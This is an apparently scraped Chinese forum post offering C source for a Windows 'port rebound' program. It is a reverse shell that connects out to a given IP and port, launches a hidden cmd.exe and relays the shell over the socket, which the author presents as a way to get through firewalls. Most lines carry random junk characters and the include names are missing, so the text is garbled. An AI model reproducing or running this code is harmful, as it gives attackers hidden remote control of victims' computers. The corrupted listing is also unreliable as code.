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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LB`{35b-  
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/* ============================== !cW!zP-B*p  
Rebound port in Windows NT Up5|tx7  
By wind,2006/7 E8BIb 'b;  
===============================*/ &O#,"u/q`  
#include 9e Fj+  
#include &%m%b5  
es<8"CcP  
#pragma comment(lib,"wsock32.lib") :l&Yq!5  
SG]Sx4fg,Y  
void OutputShell(); k$ b)  
SOCKET sClient; 6ZfL-E{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Kr;;aT0P  
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void main(int argc,char **argv) +QNsI2t;r  
{ V!/9GeIF  
WSADATA stWsaData; */2nh%>$  
int nRet; ~G 3txd  
SOCKADDR_IN stSaiClient,stSaiServer; 9BAvE\o0  
KwU;+=_.  
if(argc != 3) \440gH`  
{ h"nhDART<  
printf("Useage:\n\rRebound DestIP DestPort\n"); K&eT*JW>  
return; aYn5AP'PH  
} k-^le|n9  
2T(7V[C%9  
WSAStartup(MAKEWORD(2,2),&stWsaData); fbD,\ rjT  
cQ |Q-S  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G.`},c;A-  
'q?Y5@s  
stSaiClient.sin_family = AF_INET; voQJ!h1  
stSaiClient.sin_port = htons(0); uVTacN%X  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #nw+U+qL  
h'?v(k!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e;g7Ek3n  
{ @S:T8 *~}  
printf("Bind Socket Failed!\n"); FbRGfHL[  
return; X9ZHYlr+Q  
} \&b 9  
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stSaiServer.sin_family = AF_INET; +P8CC fPu  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /l_u $"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -K3d u&j  
"$pbK:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u`D _  
{ d::9,~  
printf("Connect Error!"); OTl9MwW  
return; .>z1BP:(  
} [!4xInS  
OutputShell(); ?5J>]: +ZZ  
} Tdm|=xI  
8i5S }  
void OutputShell() {xeJO:M3/  
{ rVP{ ^Jdo  
char szBuff[1024]; 'v9M``  
SECURITY_ATTRIBUTES stSecurityAttributes; zw+RDo  
OSVERSIONINFO stOsversionInfo; 3!$+N\ #w  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =fJU+N+<  
STARTUPINFO stStartupInfo; &,yF{9$G  
char *szShell; h3-^RE5\`S  
PROCESS_INFORMATION stProcessInformation; -+Ot' ^  
unsigned long lBytesRead; tDRo)z  
d%.|MAE  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bN7m[GRO.  
A*~G[KC3(  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (Gw*x sn1  
stSecurityAttributes.lpSecurityDescriptor = 0; TgaxZW  
stSecurityAttributes.bInheritHandle = TRUE; J e,o(:  
]YtN6Rq/  
]tf`[bINP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OGIv".~s4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J/ Lf(;C_  
L]8z6]j*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L""ZI5J{F9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J]#rh5um  
stStartupInfo.wShowWindow = SW_HIDE; Z,O* p,Gzn  
stStartupInfo.hStdInput = hReadPipe; FzcXSKHV %  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zyhM*eM.7  
]A5Y/dd  
GetVersionEx(&stOsversionInfo); >KL=(3:":p  
Hqs!L`oW)  
switch(stOsversionInfo.dwPlatformId) BGxwPJd  
{ ~^jPE)  
case 1: K1^7v}P  
szShell = "command.com"; $}{[_2  
break; Vjs'|%P7  
default: {kw% 7}!  
szShell = "cmd.exe"; ~ \<$H'  
break; }I-nT!D'y  
} 3}!u8,P  
"w%:5~u 9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !#:5^":;  
;N?(R\* 8  
send(sClient,szMsg,77,0); (WJ)!  
while(1) <D3mt Q  
{ Z|Oq7wzEH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T - _))  
if(lBytesRead) rhcax%Cd  
{ oKsArZG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?&-1(&  
send(sClient,szBuff,lBytesRead,0); 2|=hF9  
} 3qn_9f]  
else B}[f]8jrM  
{ &3Yj2 Fw  
lBytesRead=recv(sClient,szBuff,1024,0); l cHf\~  
if(lBytesRead<=0) break; ZnRT$ l O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *Z^`H!&  
} 8QK8q: |  
} JRw,${W  
}x\#ul)  
return; eA86~M?<o  
}
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